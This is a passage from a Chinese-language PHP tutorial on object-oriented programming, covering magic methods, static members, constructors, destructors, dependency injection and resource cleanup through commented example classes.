                $operation = $arguments[0] ?? null;
                $a = $arguments[1] ?? 0;
                $b = $arguments[2] ?? 0;

                switch ($operation) {
                    case 'add':
                        return $a + $b;
                    case 'multiply':
                        return $a * $b;
                    default:
                        return "未知操作";
                }

            case 'format':
                $value = $arguments[0] ?? null;
                return "格式化:" . json_encode($value);

            default:
                throw new BadMethodCallException("静态方法 $method 不存在");
        }
    }

    // 已定义的方法,不会触发__call
    public function existingMethod() {
        return "这是一个已定义的方法";
    }
}

// 使用示例
echo "=== __call() 和 __callStatic() 示例 ===\n";

$obj = new MethodInterception();

// 调用已定义的方法(不会触发__call)
echo "已定义方法:" . $obj->existingMethod() . "\n";

// 调用未定义的方法(会触发__call)
echo $obj->getName("John") . "\n";
echo $obj->setAge(25) . "\n";

// 调用未定义的静态方法(会触发__callStatic)
$result = MethodInterception::calculate('add', 10, 5);
echo "计算结果:$result\n";

$formatted = MethodInterception::format(['name' => 'John', 'age' => 25]);
echo "格式化结果:$formatted\n";

// 尝试调用不存在的方法(会抛出异常)
try {
    $obj->nonExistentMethod();
} catch (BadMethodCallException $e) {
    echo "捕获异常:" . $e->getMessage() . "\n";
}
?>

实际应用示例

简单的用户管理类

<?php
class UserManager {
    private static $users = [];
    private static $nextId = 1;

    // 静态方法:创建用户
    public static function createUser($username, $email, $password) {
        if (self::userExists($username)) {
            throw new InvalidArgumentException("用户名已存在");
        }

        if (self::emailExists($email)) {
            throw new InvalidArgumentException("邮箱已存在");
        }

        $user = [
            'id' => self::$nextId++,
            'username' => $username,
            'email' => $email,
            'password_hash' => password_hash($password, PASSWORD_DEFAULT),
            'created_at' => date('Y-m-d H:i:s'),
            'is_active' => true,
            'last_login' => null
        ];

        self::$users[$user['id']] = $user;
        return new User($user);
    }

    // 静态方法:验证用户
    public static function authenticate($username, $password) {
        $user = self::getUserByUsername($username);
        if (!$user) {
            throw new Exception("用户名或密码错误");
        }

        if (!$user['is_active']) {
            throw new Exception("用户账户已被禁用");
        }

        if (!password_verify($password, $user['password_hash'])) {
            throw new Exception("用户名或密码错误");
        }

        // 更新登录时间
        self::$users[$user['id']]['last_login'] = date('Y-m-d H:i:s');

        return new User($user);
    }

    // 静态方法:获取用户
    public static function getUserById($id) {
        return self::$users[$id] ?? null;
    }

    public static function getUserByUsername($username) {
        foreach (self::$users as $user) {
            if ($user['username'] === $username) {
                return $user;
            }
        }
        return null;
    }

    public static function getUserByEmail($email) {
        foreach (self::$users as $user) {
            if ($user['email'] === $email) {
                return $user;
            }
        }
        return null;
    }

    // 静态方法:检查用户是否存在
    public static function userExists($username) {
        return self::getUserByUsername($username) !== null;
    }

    public static function emailExists($email) {
        return self::getUserByEmail($email) !== null;
    }

    // 静态方法:获取所有用户
    public static function getAllUsers() {
        $userObjects = [];
        foreach (self::$users as $user) {
            $userObjects[] = new User($user);
        }
        return $userObjects;
    }

    // 静态方法:获取活跃用户数
    public static function getActiveUserCount() {
        $count = 0;
        foreach (self::$users as $user) {
            if ($user['is_active']) {
                $count++;
            }
        }
        return $count;
    }

    // 静态方法:清除所有用户
    public static function clearAllUsers() {
        self::$users = [];
        self::$nextId = 1;
    }
}

// 用户对象类
class User {
    private $data;

    public function __construct($userData) {
        $this->data = $userData;
    }

    public function getId() {
        return $this->data['id'];
    }

    public function getUsername() {
        return $this->data['username'];
    }

    public function getEmail() {
        return $this->data['email'];
    }

    public function getCreatedAt() {
        return $this->data['created_at'];
    }

    public function getLastLogin() {
        return $this->data['last_login'];
    }

    public function isActive() {
        return $this->data['is_active'];
    }

    public function toArray() {
        return [
            'id' => $this->getId(),
            'username' => $this->getUsername(),
            'email' => $this->getEmail(),
            'created_at' => $this->getCreatedAt(),
            'last_login' => $this->getLastLogin(),
            'is_active' => $this->isActive()
        ];
    }

    public function __toString() {
        return "用户[{$this->getId()}]: {$this->getUsername()} ({$this->getEmail()})";
    }
}

// 使用示例
echo "=== 用户管理系统示例 ===\n";

try {
    // 清理现有数据
    UserManager::clearAllUsers();

    // 创建用户
    $user1 = UserManager::createUser("alice", "alice@example.com", "password123");
    $user2 = UserManager::createUser("bob", "bob@example.com", "password456");

    echo "用户创建成功\n";
    echo "活跃用户数:" . UserManager::getActiveUserCount() . "\n";

    // 用户登录
    $loggedInUser = UserManager::authenticate("alice", "password123");
    echo "用户登录成功:" . $loggedInUser . "\n";

    // 获取所有用户
    $allUsers = UserManager::getAllUsers();
    echo "所有用户:\n";
    foreach ($allUsers as $user) {
        echo "- " . $user . "\n";
    }

    // 获取用户详细信息
    $userInfo = $loggedInUser->toArray();
    echo "用户详细信息:\n";
    print_r($userInfo);

} catch (Exception $e) {
    echo "错误:" . $e->getMessage() . "\n";
}
?>

总结

属性和方法是面向对象编程的基础构件,正确理解和使用它们对于构建高质量的面向对象应用程序至关重要。

关键要点:

  1. 属性管理

    • 属性用于存储对象状态
    • 使用访问修饰符控制属性的可访问性
    • 支持类型声明和默认值
    • 提供getter和setter方法进行受控访问
  2. 方法设计

    • 方法定义对象的行为
    • 支持参数类型声明和返回类型
    • 可变参数和默认参数增加灵活性
    • 链式调用提高代码可读性
  3. 访问控制

    • public:完全开放,可从任何地方访问
    • protected:类内部和子类可访问
    • private:仅类内部可访问
  4. 静态成员

    • 静态属性和方法属于类而不是实例
    • 通过类名直接访问,无需创建对象
    • 适合实现工具方法和共享数据
  5. 魔术方法

    • 在特定情况下自动调用的特殊方法
    • 提供对象的高级功能
    • 谨慎使用,避免过度复杂化

最佳实践:

  • 保持属性私有,通过方法进行访问控制
  • 为方法选择清晰的命名和单一职责
  • 合理使用静态方法和实例方法
  • 优先使用类型声明提高代码安全性
  • 避免滥用魔术方法,保持代码简洁明了

通过本节学习,你应该能够熟练地定义和使用类的属性与方法,为后续学习更高级的面向对象特性打下坚实基础。

构造函数和析构函数

构造函数和析构函数是PHP面向对象编程中两个非常重要的特殊方法。它们分别在对象创建和销毁时自动调用,为我们提供了初始化资源和清理资源的机会。

学习目标

完成本节学习后,你将能够:

  • 理解构造函数的作用和使用场景
  • 掌握构造函数的定义和使用方法
  • 学会通过构造函数实现依赖注入
  • 理解析构函数的作用和执行时机
  • 掌握资源管理的基本技巧
  • 了解对象生命周期的完整过程

构造函数(Constructor)

什么是构造函数

构造函数是在创建对象时自动调用的特殊方法。它的主要作用是:

  1. 初始化对象属性:为对象的属性设置初始值
  2. 分配资源:如数据库连接、文件句柄等
  3. 执行验证:确保传入的参数符合要求
  4. 建立对象状态:确保对象处于可用状态

构造函数的语法

<?php
class MyClass {
    // PHP 5.3.3+ 可以使用类名作为构造函数(不推荐)
    // public function MyClass() {
    //     echo "这是旧式的构造函数";
    // }

    // 现代推荐的构造函数语法
    public function __construct() {
        echo "构造函数被调用\n";
    }
}
?>

基本构造函数示例

<?php
class User {
    private $id;
    private $username;
    private $email;
    private $createdAt;

    // 基本构造函数
    public function __construct() {
        echo "创建了一个新用户对象\n";
        $this->id = null;
        $this->username = 'guest';
        $this->email = '';
        $this->createdAt = date('Y-m-d H:i:s');
    }

    // 获取器方法
    public function getUsername() {
        return $this->username;
    }

    public function getEmail() {
        return $this->email;
    }

    public function getCreatedAt() {
        return $this->createdAt;
    }
}

// 使用基本构造函数
echo "=== 基本构造函数示例 ===\n";
$user1 = new User();  // 输出:创建了一个新用户对象
echo "用户名:{$user1->getUsername()}\n";
echo "创建时间:{$user1->getCreatedAt()}\n";
?>

带参数的构造函数

<?php
class Product {
    private $id;
    private $name;
    private $price;
    private $category;
    private $inStock;

    // 带参数的构造函数
    public function __construct($name, $price, $category = '默认分类') {
        echo "创建产品:$name\n";

        $this->id = uniqid('product_');
        $this->name = $this->validateName($name);
        $this->price = $this->validatePrice($price);
        $this->category = $category;
        $this->inStock = true;
    }

    // 验证产品名称
    private function validateName($name) {
        if (empty($name)) {
            throw new Exception("产品名称不能为空");
        }
        if (strlen($name) > 100) {
            throw new Exception("产品名称过长");
        }
        return trim($name);
    }

    // 验证价格
    private function validatePrice($price) {
        if (!is_numeric($price) || $price < 0) {
            throw new Exception("价格必须是非负数");
        }
        return (float)$price;
    }

    // 获取器方法
    public function getId() {
        return $this->id;
    }

    public function getName() {
        return $this->name;
    }

    public function getPrice() {
        return $this->price;
    }

    public function getCategory() {
        return $this->category;
    }

    public function isInStock() {
        return $this->inStock;
    }

    // 设置库存状态
    public function setInStock($inStock) {
        $this->inStock = (bool)$inStock;
    }

    // 获取产品信息
    public function getInfo() {
        $status = $this->inStock ? "有货" : "缺货";
        return sprintf(
            "产品:%s | 价格:¥%.2f | 分类:%s | 状态:%s",
            $this->name,
            $this->price,
            $this->category,
            $status
        );
    }
}

// 使用带参数的构造函数
echo "=== 带参数的构造函数示例 ===\n";

try {
    $product1 = new Product("笔记本电脑", 5999.99, "电子产品");
    $product2 = new Product("办公椅", 299.50);  // 使用默认分类
    $product3 = new Product("咖啡杯", 15.80);

    echo $product1->getInfo() . "\n";
    echo $product2->getInfo() . "\n";
    echo $product3->getInfo() . "\n";

} catch (Exception $e) {
    echo "错误:" . $e->getMessage() . "\n";
}
?>

构造函数中的复杂初始化

<?php
class DatabaseConnection {
    private $connection;
    private $host;
    private $database;
    private $isConnected = false;

    // 复杂的构造函数初始化
    public function __construct($host, $database, $username, $password) {
        echo "正在初始化数据库连接...\n";

        $this->host = $this->validateHost($host);
        $this->database = $this->validateDatabase($database);

        try {
            $this->connection = $this->createConnection($host, $database, $username, $password);
            $this->isConnected = true;
            echo "数据库连接成功!\n";

            // 执行初始化设置
            $this->initializeDatabase();

        } catch (Exception $e) {
            echo "数据库连接失败:" . $e->getMessage() . "\n";
            $this->isConnected = false;
            throw $e;  // 重新抛出异常
        }
    }

    private function validateHost($host) {
        if (empty($host)) {
            throw new Exception("数据库主机不能为空");
        }
        return $host;
    }

    private function validateDatabase($database) {
        if (empty($database)) {
            throw new Exception("数据库名称不能为空");
        }
        return $database;
    }

    private function createConnection($host, $database, $username, $password) {
        // 模拟数据库连接创建
        echo "创建连接到 $host/$database\n";

        // 在实际应用中,这里会使用 PDO 或 mysqli
        // 这里我们模拟连接过程
        if ($username === 'wrong' || $password === 'wrong') {
            throw new Exception("认证失败");
        }

        return "模拟数据库连接对象";
    }

    private function initializeDatabase() {
        echo "执行数据库初始化设置...\n";
        // 设置字符编码
        // 设置时区
        // 创建必要的表等
        echo "数据库初始化完成\n";
    }

    public function isConnected() {
        return $this->isConnected;
    }

    public function getConnection() {
        return $this->connection;
    }

    public function getHost() {
        return $this->host;
    }

    public function getDatabase() {
        return $this->database;
    }
}

// 使用复杂初始化的构造函数
echo "=== 复杂初始化构造函数示例 ===\n";

try {
    // 正常连接
    $db1 = new DatabaseConnection("localhost", "myapp", "user", "pass");
    echo "数据库状态:" . ($db1->isConnected() ? "已连接" : "未连接") . "\n";
    echo "连接信息:{$db1->getHost()}/{$db1->getDatabase()}\n\n";

    // 错误连接
    echo "尝试错误的连接...\n";
    $db2 = new DatabaseConnection("localhost", "myapp", "wrong", "pass");

} catch (Exception $e) {
    echo "捕获到异常:" . $e->getMessage() . "\n";
}
?>

依赖注入(Dependency Injection)

依赖注入是构造函数的重要用途之一,它让代码更加灵活和可测试。

<?php
class Logger {
    private $logFile;

    public function __construct($logFile = 'app.log') {
        $this->logFile = $logFile;
        echo "Logger 初始化,日志文件:$logFile\n";
    }

    public function log($message) {
        $timestamp = date('Y-m-d H:i:s');
        $logMessage = "[$timestamp] $message\n";
        echo "记录日志:$logMessage";
        // 在实际应用中会写入文件
        // file_put_contents($this->logFile, $logMessage, FILE_APPEND);
    }
}

class EmailService {
    private $smtpServer;
    private $logger;

    // 依赖注入构造函数
    public function __construct($smtpServer, Logger $logger) {
        $this->smtpServer = $smtpServer;
        $this->logger = $logger;
        echo "EmailService 初始化,SMTP服务器:$smtpServer\n";

        $this->logger->log("EmailService 已启动");
    }

    public function sendEmail($to, $subject, $message) {
        $this->logger->log("准备发送邮件到: $to");

        // 模拟邮件发送
        echo "发送邮件到:$to\n";
        echo "主题:$subject\n";
        echo "内容:$message\n";

        $this->logger->log("邮件发送成功到: $to");
        return true;
    }

    public function getSmtpServer() {
        return $this->smtpServer;
    }
}

class UserService {
    private $emailService;
    private $logger;

    // 多依赖注入
    public function __construct(EmailService $emailService, Logger $logger) {
        $this->emailService = $emailService;
        $this->logger = $logger;
        echo "UserService 初始化完成\n";

        $this->logger->log("UserService 已启动");
    }

    public function registerUser($email, $username) {
        $this->logger->log("注册新用户: $username ($email)");

        // 模拟用户注册
        echo "用户 $username 注册成功\n";

        // 发送欢迎邮件
        $this->emailService->sendEmail(
            $email,
            "欢迎注册",
            "欢迎 $username 加入我们的平台!"
        );

        return true;
    }
}

// 使用依赖注入
echo "=== 依赖注入示例 ===\n";

// 1. 创建基础服务
$logger = new Logger('user_service.log');
$emailService = new EmailService('smtp.example.com', $logger);

// 2. 将依赖注入到高级服务中
$userService = new UserService($emailService, $logger);

// 3. 使用服务
echo "\n=== 执行用户注册 ===\n";
$userService->registerUser('alice@example.com', 'Alice');
?>

构造函数重载(PHP不支持,但可通过默认参数和可选参数模拟)

<?php
class Order {
    private $orderId;
    private $customerName;
    private $items;
    private $totalAmount;
    private $orderDate;
    private $shippingAddress;
    private $discountCode;

    // 使用可选参数模拟重载
    public function __construct(
        $customerName,
        $items = [],
        $totalAmount = 0.0,
        $shippingAddress = null,
        $discountCode = null
    ) {
        $this->orderId = uniqid('order_');
        $this->customerName = $customerName;
        $this->items = $items;
        $this->totalAmount = $totalAmount;
        $this->orderDate = date('Y-m-d H:i:s');
        $this->shippingAddress = $shippingAddress ?: $customerName . ' 的默认地址';
        $this->discountCode = $discountCode;

        echo "创建订单 #$this->orderId\n";
        $this->applyDiscount();
    }

    private function applyDiscount() {
        if ($this->discountCode === 'SAVE10') {
            $this->totalAmount *= 0.9;
            echo "应用10%折扣\n";
        } elseif ($this->discountCode === 'SAVE20') {
            $this->totalAmount *= 0.8;
            echo "应用20%折扣\n";
        }
    }

    public function getInfo() {
        return sprintf(
            "订单 #%s | 客户:%s | 金额:¥%.2f | 地址:%s",
            substr($this->orderId, -8),
            $this->customerName,
            $this->totalAmount,
            $this->shippingAddress
        );
    }
}

// 模拟不同的构造方式
echo "=== 构造函数参数重载示例 ===\n";

// 方式1:最简单的订单
$order1 = new Order("张三");
echo $order1->getInfo() . "\n\n";

// 方式2:带商品的订单
$items = ["笔记本", "鼠标", "键盘"];
$order2 = new Order("李四", $items, 1500.00);
echo $order2->getInfo() . "\n\n";

// 方式3:完整的订单
$order3 = new Order(
    "王五",
    ["手机", "充电器", "耳机"],
    3999.00,
    "北京市朝阳区某某街道123号",
    "SAVE10"
);
echo $order3->getInfo() . "\n";
?>

析构函数(Destructor)

什么是析构函数

析构函数是在对象被销毁时自动调用的特殊方法。它的主要作用是:

  1. 清理资源:关闭文件句柄、数据库连接等
  2. 释放内存:清理大对象的内存
  3. 保存状态:保存对象的最终状态
  4. 执行清理逻辑:确保对象完全销毁前的清理工作

析构函数的语法

<?php
class MyClass {
    private $resource;

    public function __construct() {
        echo "构造函数:分配资源\n";
        $this->resource = "模拟资源";
    }

    // 析构函数
    public function __destruct() {
        echo "析构函数:清理资源\n";
        $this->resource = null;
    }
}
?>

基本析构函数示例

<?php
class TempFile {
    private $filename;
    private $handle;
    private $content;

    public function __construct($filename, $content = '') {
        echo "创建临时文件:$filename\n";

        $this->filename = $filename;
        $this->content = $content;

        // 模拟文件创建
        $this->handle = fopen("php://memory", "r+");  // 使用内存文件
        fwrite($this->handle, $content);
        rewind($this->handle);

        echo "文件句柄已创建\n";
    }

    public function write($data) {
        $this->content .= $data;
        fwrite($this->handle, $data);
        echo "写入数据:$data\n";
    }

    public function read() {
        rewind($this->handle);
        $content = stream_get_contents($this->handle);
        echo "读取文件内容:$content\n";
        return $content;
    }

    public function getSize() {
        return strlen($this->content);
    }

    public function __destruct() {
        echo "销毁临时文件:$this->filename\n";

        // 关闭文件句柄
        if (is_resource($this->handle)) {
            fclose($this->handle);
            echo "文件句柄已关闭\n";
        }

        // 在实际应用中,这里会删除临时文件
        // unlink($this->filename);
        echo "临时文件清理完成\n";
    }
}

// 使用析构函数
echo "=== 基本析构函数示例 ===\n";

function processTempFile() {
    echo "进入函数 processTempFile\n";
    $tempFile = new TempFile("temp_data.txt", "初始内容\n");
    $tempFile->write("添加的内容\n");
    $tempFile->read();
    echo "文件大小:{$tempFile->getSize()} 字节\n";
    echo "退出函数 processTempFile\n";
    // $tempFile 对象在这里会被销毁,自动调用 __destruct()
}

processTempFile();
echo "函数执行结束\n\n";

// 直接创建和销毁对象
echo "=== 直接创建对象 ===\n";
$tempFile2 = new TempFile("another_temp.txt", "另一个文件");
unset($tempFile2);  // 手动触发析构函数
echo "对象已被手动销毁\n";
?>

数据库连接的析构清理

<?php
class DatabaseConnection {
    private $connectionId;
    private $isConnected = false;
    private $queryCount = 0;

    public function __construct($database) {
        $this->connectionId = uniqid('db_');
        echo "建立数据库连接到:$database (ID: $this->connectionId)\n";

        // 模拟连接建立
        $this->isConnected = true;
        echo "数据库连接已建立\n";
    }

    public function query($sql) {
        if (!$this->isConnected) {
            throw new Exception("数据库未连接");
        }

        $this->queryCount++;
        echo "执行查询 #$this->queryCount: $sql\n";

        // 模拟查询执行
        return "查询结果";
    }

    public function getConnectionId() {
        return $this->connectionId;
    }

    public function getQueryCount() {
        return $this->queryCount;
    }

    public function __destruct() {
        echo "\n开始清理数据库连接 (ID: $this->connectionId)\n";

        if ($this->isConnected) {
            echo "关闭数据库连接...\n";
            $this->isConnected = false;

            // 在实际应用中,这里会关闭实际的数据库连接
            // $this->connection->close();

            echo "数据库连接已关闭\n";
            echo "总共执行了 $this->queryCount 个查询\n";
        }

        echo "数据库连接清理完成\n";
    }
}

// 使用数据库连接类
echo "=== 数据库连接析构示例 ===\n";

function performDatabaseOperations() {
    echo "=== 开始数据库操作 ===\n";

    $db = new DatabaseConnection("myapp_db");

    echo "\n执行一些查询...\n";
    $db->query("SELECT * FROM users");
    $db->query("SELECT * FROM products WHERE category = 'electronics'");
    $db->query("INSERT INTO orders (user_id, total) VALUES (1, 100.00)");

    echo "\n数据库操作完成,函数即将结束\n";
    // $db 对象在函数结束时会被销毁
}

performDatabaseOperations();

echo "\n函数已结束,数据库连接应该已被清理\n";
?>

对象引用与析构时机

<?php
class ResourceTracker {
    private $name;
    private static $activeObjects = [];

    public function __construct($name) {
        $this->name = $name;
        self::$activeObjects[] = $this;
        echo "创建资源:$name\n";
        $this->showActiveCount();
    }

    public function getName() {
        return $this->name;
    }

    public static function showActiveCount() {
        echo "当前活跃对象数:" . count(self::$activeObjects) . "\n";
    }

    public function __destruct() {
        echo "销毁资源:$this->name\n";

        // 从活跃对象列表中移除
        $key = array_search($this, self::$activeObjects, true);
        if ($key !== false) {
            unset(self::$activeObjects[$key]);
            self::$activeObjects = array_values(self::$activeObjects);
        }

        $this->showActiveCount();
    }
}

// 演示不同的对象销毁时机
echo "=== 对象引用与析构时机示例 ===\n";

// 1. 普通变量
echo "\n1. 普通变量作用域:\n";
{
    $obj1 = new ResourceTracker("对象1");
    $obj2 = new ResourceTracker("对象2");
    echo "离开代码块,对象将被销毁\n";
}
echo "已离开代码块\n\n";

// 2. 引用情况
echo "2. 对象引用:\n";
$obj3 = new ResourceTracker("对象3");
$reference = $obj3;  // 引用
echo "复制引用\n";
$anotherRef = $obj3;

echo "unset 第一个变量\n";
unset($obj3);
ResourceTracker::showActiveCount();

echo "unset 第二个变量\n";
unset($reference);
ResourceTracker::showActiveCount();

echo "unset 最后一个变量\n";
unset($anotherRef);
echo "对象应该已被销毁\n\n";

// 3. 数组中的对象
echo "3. 数组中的对象:\n";
$objects = [];
$objects[] = new ResourceTracker("数组对象1");
$objects[] = new ResourceTracker("数组对象2");
$objects[] = new ResourceTracker("数组对象3");

echo "清空数组\n";
$objects = [];  // 这会触发所有对象的析构函数
echo "数组已清空\n\n";

// 4. 函数参数传递
echo "4. 函数参数传递:\n";
function processObject($obj) {
    echo "函数内处理对象:{$obj->getName()}\n";
    echo "即将离开函数\n";
}

$obj4 = new ResourceTracker("函数对象");
processObject($obj4);
echo "函数结束,对象应该还存在\n";
echo "手动销毁对象\n";
unset($obj4);
?>

复杂的资源管理

<?php
class FileProcessor {
    private $inputFile;
    private $outputFile;
    private $tempFiles = [];
    private $processingSteps = [];

    public function __construct($inputFile, $outputFile) {
        echo "初始化文件处理器\n";
        echo "输入文件:$inputFile\n";
        echo "输出文件:$outputFile\n";

        $this->inputFile = $inputFile;
        $this->outputFile = $outputFile;

        // 模拟文件打开
        $this->openFiles();

        $this->logStep("初始化完成");
    }

    private function openFiles() {
        echo "打开输入文件:{$this->inputFile}\n";
        echo "创建输出文件:{$this->outputFile}\n";

        // 在实际应用中,这里会使用 fopen()
        $this->logStep("文件已打开");
    }

    public function processData($data) {
        $this->logStep("开始处理数据");

        // 创建临时文件
        $tempFile = $this->createTempFile($data);

        // 处理数据
        $processedData = $this->transformData($data);

        // 写入输出
        $this->writeOutput($processedData);

        // 清理临时文件
        $this->cleanupTempFile($tempFile);

        $this->logStep("数据处理完成");
        return $processedData;
    }

    private function createTempFile($data) {
        $tempFile = "temp_" . uniqid() . ".tmp";
        $this->tempFiles[] = $tempFile;
        echo "创建临时文件:$tempFile\n";

        // 在实际应用中,这里会写入实际文件
        $this->logStep("临时文件已创建:$tempFile");

        return $tempFile;
    }

    private function transformData($data) {
        echo "转换数据:$data\n";

        // 模拟数据处理
        $transformed = strtoupper($data) . " [已处理]";

        $this->logStep("数据转换完成");
        return $transformed;
    }

    private function writeOutput($data) {
        echo "写入输出文件:{$this->outputFile}\n";
        echo "内容:$data\n";

        $this->logStep("数据已写入输出文件");
    }

    private function cleanupTempFile($tempFile) {
        echo "清理临时文件:$tempFile\n";

        // 从列表中移除
        $key = array_search($tempFile, $this->tempFiles);
        if ($key !== false) {
            unset($this->tempFiles[$key]);
            $this->tempFiles = array_values($this->tempFiles);
        }

        // 在实际应用中,这里会删除实际文件
        $this->logStep("临时文件已清理:$tempFile");
    }

    private function logStep($step) {
        $timestamp = date('H:i:s');
        $this->processingSteps[] = "[$timestamp] $step";
        echo "  - $step\n";
    }

    public function getProcessingLog() {
        return $this->processingSteps;
    }

    public function __destruct() {
        echo "\n=== 析构函数:清理文件处理器 ===\n";

        // 关闭文件
        echo "关闭输入文件:{$this->inputFile}\n";
        echo "关闭输出文件:{$this->outputFile}\n";

        // 清理所有剩余的临时文件
        if (!empty($this->tempFiles)) {
            echo "清理剩余的临时文件:\n";
            foreach ($this->tempFiles as $tempFile) {
                echo "  - 删除 $tempFile\n";
                // unlink($tempFile);
            }
            $this->tempFiles = [];
        }

        // 显示处理日志
        if (!empty($this->processingSteps)) {
            echo "\n处理步骤总结:\n";
            foreach ($this->processingSteps as $i => $step) {
                echo "  " . ($i + 1) . ". $step\n";
            }
        }

        echo "文件处理器清理完成\n";
    }
}

// 使用复杂的资源管理
echo "=== 复杂资源管理示例 ===\n";

function processUserData() {
    $processor = new FileProcessor("input.txt", "output.txt");

    echo "\n开始处理用户数据...\n";
    $processor->processData("Hello World");
    $processor->processData("PHP Programming");
    $processor->processData("File Processing");

    echo "\n用户数据处理完成\n";
    // $processor 在函数结束时会被销毁
}

processUserData();
echo "函数执行结束,所有资源应该已被清理\n";
?>

实际应用示例

配置管理器

<?php
class ConfigManager {
    private $configFile;
    private $config = [];
    private $isModified = false;
    private $autoSave;

    public function __construct($configFile, $autoSave = true) {
        echo "初始化配置管理器\n";
        echo "配置文件:$configFile\n";
        echo "自动保存:" . ($autoSave ? "启用" : "禁用") . "\n";

        $this->configFile = $configFile;
        $this->autoSave = $autoSave;

        $this->loadConfig();
    }

    private function loadConfig() {
        echo "加载配置文件...\n";

        // 在实际应用中,这里会读取JSON、INI等配置文件
        // 模拟配置加载
        $this->config = [
            'database' => [
                'host' => 'localhost',
                'port' => 3306,
                'name' => 'myapp'
            ],
            'app' => [
                'debug' => false,
                'timezone' => 'Asia/Shanghai'
            ]
        ];

        echo "配置加载完成,共 " . count($this->config, COUNT_RECURSIVE) . " 个配置项\n";
    }

    public function get($key, $default = null) {
        $keys = explode('.', $key);
        $value = $this->config;

        foreach ($keys as $k) {
            if (isset($value[$k])) {
                $value = $value[$k];
            } else {
                return $default;
            }
        }

        return $value;
    }

    public function set($key, $value) {
        echo "设置配置:$key = " . (is_bool($value) ? ($value ? 'true' : 'false') : $value) . "\n";

        $keys = explode('.', $key);
        $config = &$this->config;

        for ($i = 0; $i < count($keys) - 1; $i++) {
            if (!isset($config[$keys[$i]])) {
                $config[$keys[$i]] = [];
            }
            $config = &$config[$keys[$i]];
        }

        $config[$keys[count($keys) - 1]] = $value;
        $this->isModified = true;
    }

    public function has($key) {
        return $this->get($key) !== null;
    }

    public function remove($key) {
        if ($this->has($key)) {
            echo "删除配置:$key\n";
            // 实际实现中需要处理嵌套键
            $this->isModified = true;
        }
    }

    public function save() {
        if (!$this->isModified) {
            echo "配置未修改,无需保存\n";
            return;
        }

        echo "保存配置到文件:{$this->configFile}\n";

        // 在实际应用中,这里会写入文件
        $this->isModified = false;
        echo "配置保存成功\n";
    }

    public function getConfig() {
        return $this->config;
    }

    public function __destruct() {
        echo "\n=== 配置管理器析构 ===\n";

        if ($this->autoSave && $this->isModified) {
            echo "检测到配置修改,自动保存...\n";
            $this->save();
        } else {
            echo "配置管理器关闭(修改的配置:" . ($this->isModified ? "是" : "否") . ")\n";
        }
    }
}

// 使用配置管理器
echo "=== 配置管理器示例 ===\n";

function configureApp() {
    $config = new ConfigManager("app.conf");

    echo "\n读取配置:\n";
    echo "数据库主机:" . $config->get('database.host') . "\n";
    echo "调试模式:" . ($config->get('app.debug', false) ? '开启' : '关闭') . "\n";

    echo "\n修改配置:\n";
    $config->set('app.debug', true);
    $config->set('database.charset', 'utf8mb4');

    echo "\n读取新配置:\n";
    echo "调试模式:" . ($config->get('app.debug') ? '开启' : '关闭') . "\n";
    echo "数据库字符集:" . $config->get('database.charset', '未设置') . "\n";

    // 函数结束时,由于配置被修改且启用了自动保存,会自动触发保存
}

configureApp();
echo "应用配置完成\n\n";

// 禁用自动保存的配置管理器
echo "=== 禁用自动保存 ===\n";
$config2 = new ConfigManager("user.conf", false);
$config2->set('user.name', 'Alice');
$config2->set('user.email', 'alice@example.com');

echo "手动保存配置\n";
$config2->save();

echo "手动销毁对象\n";
unset($config2);
?>

对象池模式

<?php
class ObjectPool {
    private static $pools = [];
    private $poolId;
    private $createdObjects = [];
    private $borrowedObjects = [];
    private $maxSize;

    public function __construct($poolId, $maxSize = 10) {
        $this->poolId = $poolId;
        $this->maxSize = $maxSize;

        self::$pools[$poolId] = $this;

        echo "创建对象池:$poolId (最大容量:$maxSize)\n";
    }

    public function createObject($className, ...$args) {
        $objectId = uniqid();

        echo "创建对象:$className (ID: $objectId)\n";

        // 在实际应用中,这里会使用反射创建对象
        $object = (object)[
            'id' => $objectId,
            'class' => $className,
            'args' => $args,
            'created_at' => time()
        ];

        $this->createdObjects[$objectId] = $object;
        $this->returnToPool($object);

        return $objectId;
    }

    public function borrowObject() {
        if (!empty($this->createdObjects)) {
            $objectId = key($this->createdObjects);
            $object = array_shift($this->createdObjects);
            $this->borrowedObjects[$objectId] = $object;

            echo "借用对象:$objectId\n";
            return $object;
        }

        echo "池中无可用对象\n";
        return null;
    }

    public function returnToPool($object) {
        $objectId = $object->id;

        if (isset($this->borrowedObjects[$objectId])) {
            unset($this->borrowedObjects[$objectId]);
        }

        if (count($this->createdObjects) < $this->maxSize) {
            $this->createdObjects[$objectId] = $object;
            echo "对象归还到池:$objectId\n";
        } else {
            echo "池已满,丢弃对象:$objectId\n";
        }
    }

    public function getPoolInfo() {
        return [
            'pool_id' => $this->poolId,
            'pool_size' => count($this->createdObjects),
            'borrowed_count' => count($this->borrowedObjects),
            'max_size' => $this->maxSize
        ];
    }

    public static function getPool($poolId) {
        return self::$pools[$poolId] ?? null;
    }

    public function __destruct() {
        echo "\n=== 销毁对象池:{$this->poolId} ===\n";

        // 清理所有对象
        $totalObjects = count($this->createdObjects) + count($this->borrowedObjects);
        echo "清理池中的对象:$totalObjects 个\n";

        $this->createdObjects = [];
        $this->borrowedObjects = [];

        // 从全局池注册中移除
        unset(self::$pools[$this->poolId]);

        echo "对象池 {$this->poolId} 已销毁\n";
    }
}

// 使用对象池
echo "=== 对象池示例 ===\n";

function useObjectPool() {
    // 创建对象池
    $pool = new ObjectPool("user_pool", 5);

    echo "\n创建一些对象:\n";
    $pool->createObject("User", "Alice");
    $pool->createObject("User", "Bob");
    $pool->createObject("User", "Charlie");

    echo "\n当前池状态:\n";
    $info = $pool->getPoolInfo();
    echo "池大小:{$info['pool_size']}\n";
    echo "借用数量:{$info['borrowed_count']}\n";

    echo "\n借用和归还对象:\n";
    $obj1 = $pool->borrowObject();
    $obj2 = $pool->borrowObject();

    $info = $pool->getPoolInfo();
    echo "借用后池大小:{$info['pool_size']}\n";

    $pool->returnToPool($obj1);
    $info = $pool->getPoolInfo();
    echo "归还后池大小:{$info['pool_size']}\n";

    // 函数结束时,对象池会被销毁
}

useObjectPool();
echo "对象池使用完成\n";
?>

最佳实践和注意事项

构造函数最佳实践

  1. 保持简单:构造函数应该尽可能简单,只执行必要的初始化
  2. 避免抛出异常:尽量在构造函数中避免复杂的逻辑和可能抛出异常的操作
  3. 使用依赖注入:通过构造函数注入依赖,提高代码的可测试性
  4. 参数验证:验证传入的参数,确保对象处于有效状态
  5. 文档说明:清晰说明构造函数的参数和要求
<?php
// 好的构造函数设计
class UserService {
    private $userRepository;
    private $emailService;
    private $logger;

    public function __construct(
        UserRepositoryInterface $userRepository,
        EmailServiceInterface $emailService,
        LoggerInterface $logger
    ) {
